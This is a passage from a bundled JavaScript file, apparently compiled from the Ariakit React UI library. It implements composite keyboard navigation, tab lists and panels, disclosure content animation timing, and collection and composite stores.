4536 fireBlurEvent(previousElement, event);
4537 }
4538 } else if (activeElement) {
4539 fireBlurEvent(activeElement, event);
4540 } else if (previousElement) {
4541 fireBlurEvent(previousElement, event);
4542 }
4543 event.stopPropagation();
4544 } else {
4545 const targetIsItem = isItem(store, event.target);
4546 if (!targetIsItem && activeElement) {
4547 fireBlurEvent(activeElement, event);
4548 }
4549 }
4550 });
4551 const onKeyDownProp = props.onKeyDown;
4552 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
4553 const onKeyDown = useEvent((event) => {
4554 var _a;
4555 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
4556 if (event.nativeEvent.isComposing) return;
4557 if (event.defaultPrevented) return;
4558 if (!store) return;
4559 if (!isSelfTarget(event)) return;
4560 const { orientation, renderedItems, activeId: activeId2 } = store.getState();
4561 const activeItem = getEnabledItem(store, activeId2);
4562 if ((_a = activeItem == null ? void 0 : activeItem.element) == null ? void 0 : _a.isConnected) return;
4563 const isVertical = orientation !== "horizontal";
4564 const isHorizontal = orientation !== "vertical";
4565 const grid = isGrid(renderedItems);
4566 const isHorizontalKey = event.key === "ArrowLeft" || event.key === "ArrowRight" || event.key === "Home" || event.key === "End";
4567 if (isHorizontalKey && isTextField(event.currentTarget)) return;
4568 const up = () => {
4569 if (grid) {
4570 const item2 = findFirstEnabledItemInTheLastRow(renderedItems);
4571 return item2 == null ? void 0 : item2.id;
4572 }
4573 return store == null ? void 0 : store.last();
4574 };
4575 const keyMap = {
4576 ArrowUp: (grid || isVertical) && up,
4577 ArrowRight: (grid || isHorizontal) && store.first,
4578 ArrowDown: (grid || isVertical) && store.first,
4579 ArrowLeft: (grid || isHorizontal) && store.last,
4580 Home: store.first,
4581 End: store.last,
4582 PageUp: store.first,
4583 PageDown: store.last
4584 };
4585 const action = keyMap[event.key];
4586 if (action) {
4587 const id3 = action();
4588 if (id3 !== void 0) {
4589 if (!moveOnKeyPressProp(event)) return;
4590 event.preventDefault();
4591 store.move(id3);
4592 }
4593 }
4594 });
4595 props = useWrapElement(
4596 props,
4597 (element) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(CompositeContextProvider, { value: store, children: element }),
4598 [store]
4599 );
4600 const activeDescendant = store.useState((state) => {
4601 var _a;
4602 if (!store) return;
4603 if (!composite) return;
4604 if (!state.virtualFocus) return;
4605 return (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.id;
4606 });
4607 props = {
4608 "aria-activedescendant": activeDescendant,
4609 ...props,
4610 ref: useMergeRefs(ref, setBaseElement, props.ref),
4611 onKeyDownCapture,
4612 onKeyUpCapture,
4613 onFocusCapture,
4614 onFocus,
4615 onBlurCapture,
4616 onKeyDown
4617 };
4618 const focusable = store.useState(
4619 (state) => composite && (state.virtualFocus || state.activeId === null)
4620 );
4621 props = useFocusable({ focusable, ...props });
4622 return props;
4623 }
4624 );
4625 var Composite = forwardRef2(function Composite2(props) {
4626 const htmlProps = useComposite(props);
4627 return createElement(TagName6, htmlProps);
4628 });
4629
4630 // node_modules/@ariakit/react-core/esm/tab/tab-list.js
4631 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
4632 var TagName7 = "div";
4633 var useTabList = createHook(
4634 function useTabList2({ store, ...props }) {
4635 const context = useTabProviderContext();
4636 store = store || context;
4637 invariant(
4638 store,
4639 "TabList must receive a `store` prop or be wrapped in a TabProvider component."
4640 );
4641 const orientation = store.useState(
4642 (state) => state.orientation === "both" ? void 0 : state.orientation
4643 );
4644 props = useWrapElement(
4645 props,
4646 (element) => /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(TabScopedContextProvider, { value: store, children: element }),
4647 [store]
4648 );
4649 if (store.composite) {
4650 props = {
4651 focusable: false,
4652 ...props
4653 };
4654 }
4655 props = {
4656 role: "tablist",
4657 "aria-orientation": orientation,
4658 ...props
4659 };
4660 props = useComposite({ store, ...props });
4661 return props;
4662 }
4663 );
4664 var TabList = forwardRef2(function TabList2(props) {
4665 const htmlProps = useTabList(props);
4666 return createElement(TagName7, htmlProps);
4667 });
4668
4669 // node_modules/@ariakit/react-core/esm/__chunks/LVDQFHCH.js
4670 var ctx4 = createStoreContext();
4671 var useDisclosureContext = ctx4.useContext;
4672 var useDisclosureScopedContext = ctx4.useScopedContext;
4673 var useDisclosureProviderContext = ctx4.useProviderContext;
4674 var DisclosureContextProvider = ctx4.ContextProvider;
4675 var DisclosureScopedContextProvider = ctx4.ScopedContextProvider;
4676
4677 // node_modules/@ariakit/react-core/esm/__chunks/A62MDFCW.js
4678 var import_react11 = __toESM(require_react(), 1);
4679 var ctx5 = createStoreContext(
4680 [DisclosureContextProvider],
4681 [DisclosureScopedContextProvider]
4682 );
4683 var useDialogContext = ctx5.useContext;
4684 var useDialogScopedContext = ctx5.useScopedContext;
4685 var useDialogProviderContext = ctx5.useProviderContext;
4686 var DialogContextProvider = ctx5.ContextProvider;
4687 var DialogScopedContextProvider = ctx5.ScopedContextProvider;
4688 var DialogHeadingContext = (0, import_react11.createContext)(void 0);
4689 var DialogDescriptionContext = (0, import_react11.createContext)(void 0);
4690
4691 // node_modules/@ariakit/react-core/esm/__chunks/6B3RXHKP.js
4692 var import_react12 = __toESM(require_react(), 1);
4693 var import_react_dom = __toESM(require_react_dom(), 1);
4694 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
4695 var TagName8 = "div";
4696 function afterTimeout(timeoutMs, cb) {
4697 const timeoutId = setTimeout(cb, timeoutMs);
4698 return () => clearTimeout(timeoutId);
4699 }
4700 function afterPaint2(cb) {
4701 let raf = requestAnimationFrame(() => {
4702 raf = requestAnimationFrame(cb);
4703 });
4704 return () => cancelAnimationFrame(raf);
4705 }
4706 function parseCSSTime(...times) {
4707 return times.join(", ").split(", ").reduce((longestTime, currentTimeString) => {
4708 const multiplier = currentTimeString.endsWith("ms") ? 1 : 1e3;
4709 const currentTime = Number.parseFloat(currentTimeString || "0s") * multiplier;
4710 if (currentTime > longestTime) return currentTime;
4711 return longestTime;
4712 }, 0);
4713 }
4714 function isHidden(mounted, hidden, alwaysVisible) {
4715 return !alwaysVisible && hidden !== false && (!mounted || !!hidden);
4716 }
4717 var useDisclosureContent = createHook(function useDisclosureContent2({ store, alwaysVisible, ...props }) {
4718 const context = useDisclosureProviderContext();
4719 store = store || context;
4720 invariant(
4721 store,
4722 "DisclosureContent must receive a `store` prop or be wrapped in a DisclosureProvider component."
4723 );
4724 const ref = (0, import_react12.useRef)(null);
4725 const id3 = useId(props.id);
4726 const [transition, setTransition] = (0, import_react12.useState)(null);
4727 const open = store.useState("open");
4728 const mounted = store.useState("mounted");
4729 const animated = store.useState("animated");
4730 const contentElement = store.useState("contentElement");
4731 const otherElement = useStoreState(store.disclosure, "contentElement");
4732 useSafeLayoutEffect(() => {
4733 if (!ref.current) return;
4734 store == null ? void 0 : store.setContentElement(ref.current);
4735 }, [store]);
4736 useSafeLayoutEffect(() => {
4737 let previousAnimated;
4738 store == null ? void 0 : store.setState("animated", (animated2) => {
4739 previousAnimated = animated2;
4740 return true;
4741 });
4742 return () => {
4743 if (previousAnimated === void 0) return;
4744 store == null ? void 0 : store.setState("animated", previousAnimated);
4745 };
4746 }, [store]);
4747 useSafeLayoutEffect(() => {
4748 if (!animated) return;
4749 if (!(contentElement == null ? void 0 : contentElement.isConnected)) {
4750 setTransition(null);
4751 return;
4752 }
4753 return afterPaint2(() => {
4754 setTransition(open ? "enter" : mounted ? "leave" : null);
4755 });
4756 }, [animated, contentElement, open, mounted]);
4757 useSafeLayoutEffect(() => {
4758 if (!store) return;
4759 if (!animated) return;
4760 if (!transition) return;
4761 if (!contentElement) return;
4762 const stopAnimation = () => store == null ? void 0 : store.setState("animating", false);
4763 const stopAnimationSync = () => (0, import_react_dom.flushSync)(stopAnimation);
4764 if (transition === "leave" && open) return;
4765 if (transition === "enter" && !open) return;
4766 if (typeof animated === "number") {
4767 const timeout2 = animated;
4768 return afterTimeout(timeout2, stopAnimationSync);
4769 }
4770 const {
4771 transitionDuration,
4772 animationDuration,
4773 transitionDelay,
4774 animationDelay
4775 } = getComputedStyle(contentElement);
4776 const {
4777 transitionDuration: transitionDuration2 = "0",
4778 animationDuration: animationDuration2 = "0",
4779 transitionDelay: transitionDelay2 = "0",
4780 animationDelay: animationDelay2 = "0"
4781 } = otherElement ? getComputedStyle(otherElement) : {};
4782 const delay2 = parseCSSTime(
4783 transitionDelay,
4784 animationDelay,
4785 transitionDelay2,
4786 animationDelay2
4787 );
4788 const duration = parseCSSTime(
4789 transitionDuration,
4790 animationDuration,
4791 transitionDuration2,
4792 animationDuration2
4793 );
4794 const timeout = delay2 + duration;
4795 if (!timeout) {
4796 if (transition === "enter") {
4797 store.setState("animated", false);
4798 }
4799 stopAnimation();
4800 return;
4801 }
4802 const frameRate = 1e3 / 60;
4803 const maxTimeout = Math.max(timeout - frameRate, 0);
4804 return afterTimeout(maxTimeout, stopAnimationSync);
4805 }, [store, animated, contentElement, otherElement, open, transition]);
4806 props = useWrapElement(
4807 props,
4808 (element) => /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(DialogScopedContextProvider, { value: store, children: element }),
4809 [store]
4810 );
4811 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
4812 const styleProp = props.style;
4813 const style2 = (0, import_react12.useMemo)(() => {
4814 if (hidden) {
4815 return { ...styleProp, display: "none" };
4816 }
4817 return styleProp;
4818 }, [hidden, styleProp]);
4819 props = {
4820 id: id3,
4821 "data-open": open || void 0,
4822 "data-enter": transition === "enter" || void 0,
4823 "data-leave": transition === "leave" || void 0,
4824 hidden,
4825 ...props,
4826 ref: useMergeRefs(id3 ? store.setContentElement : null, ref, props.ref),
4827 style: style2
4828 };
4829 return removeUndefinedValues(props);
4830 });
4831 var DisclosureContentImpl = forwardRef2(function DisclosureContentImpl2(props) {
4832 const htmlProps = useDisclosureContent(props);
4833 return createElement(TagName8, htmlProps);
4834 });
4835 var DisclosureContent = forwardRef2(function DisclosureContent2({
4836 unmountOnHide,
4837 ...props
4838 }) {
4839 const context = useDisclosureProviderContext();
4840 const store = props.store || context;
4841 const mounted = useStoreState(
4842 store,
4843 (state) => !unmountOnHide || (state == null ? void 0 : state.mounted)
4844 );
4845 if (mounted === false) return null;
4846 return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(DisclosureContentImpl, { ...props });
4847 });
4848
4849 // node_modules/@ariakit/core/esm/__chunks/75BJEVSH.js
4850 function createDisclosureStore(props = {}) {
4851 const store = mergeStore(
4852 props.store,
4853 omit2(props.disclosure, ["contentElement", "disclosureElement"])
4854 );
4855 throwOnConflictingProps(props, store);
4856 const syncState = store == null ? void 0 : store.getState();
4857 const open = defaultValue(
4858 props.open,
4859 syncState == null ? void 0 : syncState.open,
4860 props.defaultOpen,
4861 false
4862 );
4863 const animated = defaultValue(props.animated, syncState == null ? void 0 : syncState.animated, false);
4864 const initialState = {
4865 open,
4866 animated,
4867 animating: !!animated && open,
4868 mounted: open,
4869 contentElement: defaultValue(syncState == null ? void 0 : syncState.contentElement, null),
4870 disclosureElement: defaultValue(syncState == null ? void 0 : syncState.disclosureElement, null)
4871 };
4872 const disclosure = createStore(initialState, store);
4873 setup(
4874 disclosure,
4875 () => sync(disclosure, ["animated", "animating"], (state) => {
4876 if (state.animated) return;
4877 disclosure.setState("animating", false);
4878 })
4879 );
4880 setup(
4881 disclosure,
4882 () => subscribe(disclosure, ["open"], () => {
4883 if (!disclosure.getState().animated) return;
4884 disclosure.setState("animating", true);
4885 })
4886 );
4887 setup(
4888 disclosure,
4889 () => sync(disclosure, ["open", "animating"], (state) => {
4890 disclosure.setState("mounted", state.open || state.animating);
4891 })
4892 );
4893 return {
4894 ...disclosure,
4895 disclosure: props.disclosure,
4896 setOpen: (value) => disclosure.setState("open", value),
4897 show: () => disclosure.setState("open", true),
4898 hide: () => disclosure.setState("open", false),
4899 toggle: () => disclosure.setState("open", (open2) => !open2),
4900 stopAnimation: () => disclosure.setState("animating", false),
4901 setContentElement: (value) => disclosure.setState("contentElement", value),
4902 setDisclosureElement: (value) => disclosure.setState("disclosureElement", value)
4903 };
4904 }
4905
4906 // node_modules/@ariakit/react-core/esm/__chunks/WLZ6H5FH.js
4907 function useDisclosureStoreProps(store, update, props) {
4908 useUpdateEffect(update, [props.store, props.disclosure]);
4909 useStoreProps(store, props, "open", "setOpen");
4910 useStoreProps(store, props, "mounted", "setMounted");
4911 useStoreProps(store, props, "animated");
4912 return Object.assign(store, { disclosure: props.disclosure });
4913 }
4914 function useDisclosureStore(props = {}) {
4915 const [store, update] = useStore(createDisclosureStore, props);
4916 return useDisclosureStoreProps(store, update, props);
4917 }
4918
4919 // node_modules/@ariakit/react-core/esm/tab/tab-panel.js
4920 var import_react13 = __toESM(require_react(), 1);
4921 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
4922 var TagName9 = "div";
4923 var useTabPanel = createHook(
4924 function useTabPanel2({
4925 store,
4926 unmountOnHide,
4927 tabId: tabIdProp,
4928 getItem: getItemProp,
4929 scrollRestoration,
4930 scrollElement,
4931 ...props
4932 }) {
4933 const context = useTabProviderContext();
4934 store = store || context;
4935 invariant(
4936 store,
4937 "TabPanel must receive a `store` prop or be wrapped in a TabProvider component."
4938 );
4939 const ref = (0, import_react13.useRef)(null);
4940 const id3 = useId(props.id);
4941 const tabId = useStoreState(
4942 store.panels,
4943 () => {
4944 var _a;
4945 return tabIdProp || ((_a = store == null ? void 0 : store.panels.item(id3)) == null ? void 0 : _a.tabId);
4946 }
4947 );
4948 const open = useStoreState(
4949 store,
4950 (state) => !!tabId && state.selectedId === tabId
4951 );
4952 const disclosure = useDisclosureStore({ open });
4953 const mounted = useStoreState(disclosure, "mounted");
4954 const scrollPositionRef = (0, import_react13.useRef)(
4955 /* @__PURE__ */ new Map()
4956 );
4957 const getScrollElement = useEvent(() => {
4958 const panelElement = ref.current;
4959 if (!panelElement) return null;
4960 if (!scrollElement) return panelElement;
4961 if (typeof scrollElement === "function") {
4962 return scrollElement(panelElement);
4963 }
4964 if ("current" in scrollElement) {
4965 return scrollElement.current;
4966 }
4967 return scrollElement;
4968 });
4969 (0, import_react13.useEffect)(() => {
4970 var _a, _b;
4971 if (!scrollRestoration) return;
4972 if (!mounted) return;
4973 const element = getScrollElement();
4974 if (!element) return;
4975 if (scrollRestoration === "reset") {
4976 element.scroll(0, 0);
4977 return;
4978 }
4979 if (!tabId) return;
4980 const position2 = scrollPositionRef.current.get(tabId);
4981 element.scroll((_a = position2 == null ? void 0 : position2.x) != null ? _a : 0, (_b = position2 == null ? void 0 : position2.y) != null ? _b : 0);
4982 const onScroll = () => {
4983 scrollPositionRef.current.set(tabId, {
4984 x: element.scrollLeft,
4985 y: element.scrollTop
4986 });
4987 };
4988 element.addEventListener("scroll", onScroll);
4989 return () => {
4990 element.removeEventListener("scroll", onScroll);
4991 };
4992 }, [scrollRestoration, mounted, tabId, getScrollElement, store]);
4993 const [hasTabbableChildren, setHasTabbableChildren] = (0, import_react13.useState)(false);
4994 (0, import_react13.useEffect)(() => {
4995 const element = ref.current;
4996 if (!element) return;
4997 const tabbable = getAllTabbableIn(element);
4998 setHasTabbableChildren(!!tabbable.length);
4999 }, []);
5000 const getItem = (0, import_react13.useCallback)(
5001 (item2) => {
5002 const nextItem = { ...item2, id: id3 || item2.id, tabId: tabIdProp };
5003 if (getItemProp) {
5004 return getItemProp(nextItem);
5005 }
5006 return nextItem;
5007 },
5008 [id3, tabIdProp, getItemProp]
5009 );
5010 const onKeyDownProp = props.onKeyDown;
5011 const onKeyDown = useEvent((event) => {
5012 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
5013 if (event.defaultPrevented) return;
5014 if (!(store == null ? void 0 : store.composite)) return;
5015 const keyMap = {
5016 ArrowLeft: store.previous,
5017 ArrowRight: store.next,
5018 Home: store.first,
5019 End: store.last
5020 };
5021 const action = keyMap[event.key];
5022 if (!action) return;
5023 const { selectedId } = store.getState();
5024 const nextId = action({ activeId: selectedId });
5025 if (!nextId) return;
5026 event.preventDefault();
5027 store.move(nextId);
5028 });
5029 props = useWrapElement(
5030 props,
5031 (element) => /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(TabScopedContextProvider, { value: store, children: element }),
5032 [store]
5033 );
5034 props = {
5035 id: id3,
5036 role: "tabpanel",
5037 "aria-labelledby": tabId || void 0,
5038 ...props,
5039 children: unmountOnHide && !mounted ? null : props.children,
5040 ref: useMergeRefs(ref, props.ref),
5041 onKeyDown
5042 };
5043 props = useFocusable({
5044 // If the tab panel is rendered as part of another composite widget such
5045 // as combobox, it should not be focusable.
5046 focusable: !store.composite && !hasTabbableChildren,
5047 ...props
5048 });
5049 props = useDisclosureContent({ store: disclosure, ...props });
5050 props = useCollectionItem({ store: store.panels, ...props, getItem });
5051 return props;
5052 }
5053 );
5054 var TabPanel = forwardRef2(function TabPanel2(props) {
5055 const htmlProps = useTabPanel(props);
5056 return createElement(TagName9, htmlProps);
5057 });
5058
5059 // node_modules/@ariakit/react-core/esm/__chunks/JMU4N4M5.js
5060 var ctx6 = createStoreContext(
5061 [DialogContextProvider],
5062 [DialogScopedContextProvider]
5063 );
5064 var usePopoverContext = ctx6.useContext;
5065 var usePopoverScopedContext = ctx6.useScopedContext;
5066 var usePopoverProviderContext = ctx6.useProviderContext;
5067 var PopoverContextProvider = ctx6.ContextProvider;
5068 var PopoverScopedContextProvider = ctx6.ScopedContextProvider;
5069
5070 // node_modules/@ariakit/react-core/esm/__chunks/AEGCXJZV.js
5071 var import_react14 = __toESM(require_react(), 1);
5072 var ctx7 = createStoreContext(
5073 [PopoverContextProvider, CompositeContextProvider],
5074 [PopoverScopedContextProvider, CompositeScopedContextProvider]
5075 );
5076 var useSelectContext = ctx7.useContext;
5077 var useSelectScopedContext = ctx7.useScopedContext;
5078 var useSelectProviderContext = ctx7.useProviderContext;
5079 var SelectContextProvider = ctx7.ContextProvider;
5080 var SelectScopedContextProvider = ctx7.ScopedContextProvider;
5081 var SelectItemCheckedContext = (0, import_react14.createContext)(false);
5082 var SelectHeadingContext = (0, import_react14.createContext)(null);
5083
5084 // node_modules/@ariakit/core/esm/__chunks/N5XGANPW.js
5085 function getCommonParent(items) {
5086 var _a;
5087 const firstItem = items.find((item2) => !!item2.element);
5088 const lastItem = [...items].reverse().find((item2) => !!item2.element);
5089 let parentElement = (_a = firstItem == null ? void 0 : firstItem.element) == null ? void 0 : _a.parentElement;
5090 while (parentElement && (lastItem == null ? void 0 : lastItem.element)) {
5091 const parent = parentElement;
5092 if (lastItem && parent.contains(lastItem.element)) {
5093 return parentElement;
5094 }
5095 parentElement = parentElement.parentElement;
5096 }
5097 return getDocument(parentElement).body;
5098 }
5099 function getPrivateStore(store) {
5100 return store == null ? void 0 : store.__unstablePrivateStore;
5101 }
5102 function createCollectionStore(props = {}) {
5103 var _a;
5104 throwOnConflictingProps(props, props.store);
5105 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
5106 const items = defaultValue(
5107 props.items,
5108 syncState == null ? void 0 : syncState.items,
5109 props.defaultItems,
5110 []
5111 );
5112 const itemsMap = new Map(items.map((item2) => [item2.id, item2]));
5113 const initialState = {
5114 items,
5115 renderedItems: defaultValue(syncState == null ? void 0 : syncState.renderedItems, [])
5116 };
5117 const syncPrivateStore = getPrivateStore(props.store);
5118 const privateStore = createStore(
5119 { items, renderedItems: initialState.renderedItems },
5120 syncPrivateStore
5121 );
5122 const collection = createStore(initialState, props.store);
5123 const sortItems = (renderedItems) => {
5124 const sortedItems = sortBasedOnDOMPosition(renderedItems, (i3) => i3.element);
5125 privateStore.setState("renderedItems", sortedItems);
5126 collection.setState("renderedItems", sortedItems);
5127 };
5128 setup(collection, () => init(privateStore));
5129 setup(privateStore, () => {
5130 return batch(privateStore, ["items"], (state) => {
5131 collection.setState("items", state.items);
5132 });
5133 });
5134 setup(privateStore, () => {
5135 return batch(privateStore, ["renderedItems"], (state) => {
5136 let firstRun = true;
5137 let raf = requestAnimationFrame(() => {
5138 const { renderedItems } = collection.getState();
5139 if (state.renderedItems === renderedItems) return;
5140 sortItems(state.renderedItems);
5141 });
5142 if (typeof IntersectionObserver !== "function") {
5143 return () => cancelAnimationFrame(raf);
5144 }
5145 const ioCallback = () => {
5146 if (firstRun) {
5147 firstRun = false;
5148 return;
5149 }
5150 cancelAnimationFrame(raf);
5151 raf = requestAnimationFrame(() => sortItems(state.renderedItems));
5152 };
5153 const root = getCommonParent(state.renderedItems);
5154 const observer = new IntersectionObserver(ioCallback, { root });
5155 for (const item2 of state.renderedItems) {
5156 if (!item2.element) continue;
5157 observer.observe(item2.element);
5158 }
5159 return () => {
5160 cancelAnimationFrame(raf);
5161 observer.disconnect();
5162 };
5163 });
5164 });
5165 const mergeItem = (item2, setItems, canDeleteFromMap = false) => {
5166 let prevItem;
5167 setItems((items2) => {
5168 const index2 = items2.findIndex(({ id: id3 }) => id3 === item2.id);
5169 const nextItems = items2.slice();
5170 if (index2 !== -1) {
5171 prevItem = items2[index2];
5172 const nextItem = { ...prevItem, ...item2 };
5173 nextItems[index2] = nextItem;
5174 itemsMap.set(item2.id, nextItem);
5175 } else {
5176 nextItems.push(item2);
5177 itemsMap.set(item2.id, item2);
5178 }
5179 return nextItems;
5180 });
5181 const unmergeItem = () => {
5182 setItems((items2) => {
5183 if (!prevItem) {
5184 if (canDeleteFromMap) {
5185 itemsMap.delete(item2.id);
5186 }
5187 return items2.filter(({ id: id3 }) => id3 !== item2.id);
5188 }
5189 const index2 = items2.findIndex(({ id: id3 }) => id3 === item2.id);
5190 if (index2 === -1) return items2;
5191 const nextItems = items2.slice();
5192 nextItems[index2] = prevItem;
5193 itemsMap.set(item2.id, prevItem);
5194 return nextItems;
5195 });
5196 };
5197 return unmergeItem;
5198 };
5199 const registerItem = (item2) => mergeItem(
5200 item2,
5201 (getItems) => privateStore.setState("items", getItems),
5202 true
5203 );
5204 return {
5205 ...collection,
5206 registerItem,
5207 renderItem: (item2) => chain(
5208 registerItem(item2),
5209 mergeItem(
5210 item2,
5211 (getItems) => privateStore.setState("renderedItems", getItems)
5212 )
5213 ),
5214 item: (id3) => {
5215 if (!id3) return null;
5216 let item2 = itemsMap.get(id3);
5217 if (!item2) {
5218 const { items: items2 } = privateStore.getState();
5219 item2 = items2.find((item22) => item22.id === id3);
5220 if (item2) {
5221 itemsMap.set(id3, item2);
5222 }
5223 }
5224 return item2 || null;
5225 },
5226 // @ts-expect-error Internal
5227 __unstablePrivateStore: privateStore
5228 };
5229 }
5230
5231 // node_modules/@ariakit/react-core/esm/__chunks/GVAFFF2B.js
5232 function useCollectionStoreProps(store, update, props) {
5233 useUpdateEffect(update, [props.store]);
5234 useStoreProps(store, props, "items", "setItems");
5235 return store;
5236 }
5237
5238 // node_modules/@ariakit/core/esm/__chunks/RVTIKFRL.js
5239 var NULL_ITEM2 = { id: null };
5240 function findFirstEnabledItem2(items, excludeId) {
5241 return items.find((item2) => {
5242 if (excludeId) {
5243 return !item2.disabled && item2.id !== excludeId;
5244 }
5245 return !item2.disabled;
5246 });
5247 }
5248 function getEnabledItems(items, excludeId) {
5249 return items.filter((item2) => {
5250 if (excludeId) {
5251 return !item2.disabled && item2.id !== excludeId;
5252 }
5253 return !item2.disabled;
5254 });
5255 }
5256 function getItemsInRow(items, rowId) {
5257 return items.filter((item2) => item2.rowId === rowId);
5258 }
5259 function flipItems2(items, activeId, shouldInsertNullItem = false) {
5260 const index2 = items.findIndex((item2) => item2.id === activeId);
5261 return [
5262 ...items.slice(index2 + 1),
5263 ...shouldInsertNullItem ? [NULL_ITEM2] : [],
5264 ...items.slice(0, index2)
5265 ];
5266 }
5267 function groupItemsByRows2(items) {
5268 const rows = [];
5269 for (const item2 of items) {
5270 const row = rows.find((currentRow) => {
5271 var _a;
5272 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item2.rowId;
5273 });
5274 if (row) {
5275 row.push(item2);
5276 } else {
5277 rows.push([item2]);
5278 }
5279 }
5280 return rows;
5281 }
5282 function getMaxRowLength(array) {
5283 let maxLength = 0;
5284 for (const { length: length2 } of array) {
5285 if (length2 > maxLength) {
5286 maxLength = length2;
5287 }
5288 }
5289 return maxLength;
5290 }
5291 function createEmptyItem(rowId) {
5292 return {
5293 id: "__EMPTY_ITEM__",
5294 disabled: true,
5295 rowId
5296 };
5297 }
5298 function normalizeRows(rows, activeId, focusShift) {
5299 const maxLength = getMaxRowLength(rows);
5300 for (const row of rows) {
5301 for (let i3 = 0; i3 < maxLength; i3 += 1) {
5302 const item2 = row[i3];
5303 if (!item2 || focusShift && item2.disabled) {
5304 const isFirst = i3 === 0;
5305 const previousItem = isFirst && focusShift ? findFirstEnabledItem2(row) : row[i3 - 1];
5306 row[i3] = previousItem && activeId !== previousItem.id && focusShift ? previousItem : createEmptyItem(previousItem == null ? void 0 : previousItem.rowId);
5307 }
5308 }
5309 }
5310 return rows;
5311 }
5312 function verticalizeItems(items) {
5313 const rows = groupItemsByRows2(items);
5314 const maxLength = getMaxRowLength(rows);
5315 const verticalized = [];
5316 for (let i3 = 0; i3 < maxLength; i3 += 1) {
5317 for (const row of rows) {
5318 const item2 = row[i3];
5319 if (item2) {
5320 verticalized.push({
5321 ...item2,
5322 // If there's no rowId, it means that it's not a grid composite, but
5323 // a single row instead. So, instead of verticalizing it, that is,
5324 // assigning a different rowId based on the column index, we keep it
5325 // undefined so they will be part of the same row. This is useful
5326 // when using up/down on one-dimensional composites.
5327 rowId: item2.rowId ? `${i3}` : void 0
5328 });
5329 }
5330 }
5331 }
5332 return verticalized;
5333 }
5334 function createCompositeStore(props = {}) {
5335 var _a;
5336 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
5337 const collection = createCollectionStore(props);
5338 const activeId = defaultValue(
5339 props.activeId,
5340 syncState == null ? void 0 : syncState.activeId,
5341 props.defaultActiveId
5342 );
5343 const initialState = {
5344 ...collection.getState(),
5345 id: defaultValue(
5346 props.id,
5347 syncState == null ? void 0 : syncState.id,
5348 `id-${Math.random().toString(36).slice(2, 8)}`
5349 ),
5350 activeId,
5351 baseElement: defaultValue(syncState == null ? void 0 : syncState.baseElement, null),
5352 includesBaseElement: defaultValue(
5353 props.includesBaseElement,
5354 syncState == null ? void 0 : syncState.includesBaseElement,
5355 activeId === null
5356 ),
5357 moves: defaultValue(syncState == null ? void 0 : syncState.moves, 0),
5358 orientation: defaultValue(
5359 props.orientation,
5360 syncState == null ? void 0 : syncState.orientation,
5361 "both"
5362 ),
5363 rtl: defaultValue(props.rtl, syncState == null ? void 0 : syncState.rtl, false),
5364 virtualFocus: defaultValue(
5365 props.virtualFocus,
5366 syncState == null ? void 0 : syncState.virtualFocus,
5367 false
5368 ),
5369 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, false),
5370 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, false),
5371 focusShift: defaultValue(props.focusShift, syncState == null ? void 0 : syncState.focusShift, false)
5372 };
5373 const composite = createStore(initialState, collection, props.store);
5374 setup(
5375 composite,
5376 () => sync(composite, ["renderedItems", "activeId"], (state) => {
5377 composite.setState("activeId", (activeId2) => {
5378 var _a2;
5379 if (activeId2 !== void 0) return activeId2;
5380 return (_a2 = findFirstEnabledItem2(state.renderedItems)) == null ? void 0 : _a2.id;
5381 });
5382 })
5383 );
5384 const getNextId = (direction = "next", options2 = {}) => {
5385 var _a2, _b;
5386 const defaultState = composite.getState();
5387 const {
5388 skip = 0,
5389 activeId: activeId2 = defaultState.activeId,
5390 focusShift = defaultState.focusShift,
5391 focusLoop = defaultState.focusLoop,
5392 focusWrap = defaultState.focusWrap,
5393 includesBaseElement = defaultState.includesBaseElement,
5394 renderedItems = defaultState.renderedItems,
5395 rtl: rtl2 = defaultState.rtl
5396 } = options2;
5397 const isVerticalDirection = direction === "up" || direction === "down";
5398 const isNextDirection = direction === "next" || direction === "down";
5399 const canReverse = isNextDirection ? rtl2 && !isVerticalDirection : !rtl2 || isVerticalDirection;
5400 const canShift = focusShift && !skip;
5401 let items = !isVerticalDirection ? renderedItems : flatten2DArray(
5402 normalizeRows(groupItemsByRows2(renderedItems), activeId2, canShift)
5403 );
5404 items = canReverse ? reverseArray(items) : items;
5405 items = isVerticalDirection ? verticalizeItems(items) : items;
5406 if (activeId2 == null) {
5407 return (_a2 = findFirstEnabledItem2(items)) == null ? void 0 : _a2.id;
5408 }
5409 const activeItem = items.find((item2) => item2.id === activeId2);
5410 if (!activeItem) {
5411 return (_b = findFirstEnabledItem2(items)) == null ? void 0 : _b.id;
5412 }
5413 const isGrid2 = items.some((item2) => item2.rowId);
5414 const activeIndex = items.indexOf(activeItem);
5415 const nextItems = items.slice(activeIndex + 1);
5416 const nextItemsInRow = getItemsInRow(nextItems, activeItem.rowId);
5417 if (skip) {
5418 const nextEnabledItemsInRow = getEnabledItems(nextItemsInRow, activeId2);
5419 const nextItem2 = nextEnabledItemsInRow.slice(skip)[0] || // If we can't find an item, just return the last one.
5420 nextEnabledItemsInRow[nextEnabledItemsInRow.length - 1];
5421 return nextItem2 == null ? void 0 : nextItem2.id;
5422 }
5423 const canLoop = focusLoop && (isVerticalDirection ? focusLoop !== "horizontal" : focusLoop !== "vertical");
5424 const canWrap = isGrid2 && focusWrap && (isVerticalDirection ? focusWrap !== "horizontal" : focusWrap !== "vertical");
5425 const hasNullItem = isNextDirection ? (!isGrid2 || isVerticalDirection) && canLoop && includesBaseElement : isVerticalDirection ? includesBaseElement : false;
5426 if (canLoop) {
5427 const loopItems = canWrap && !hasNullItem ? items : getItemsInRow(items, activeItem.rowId);
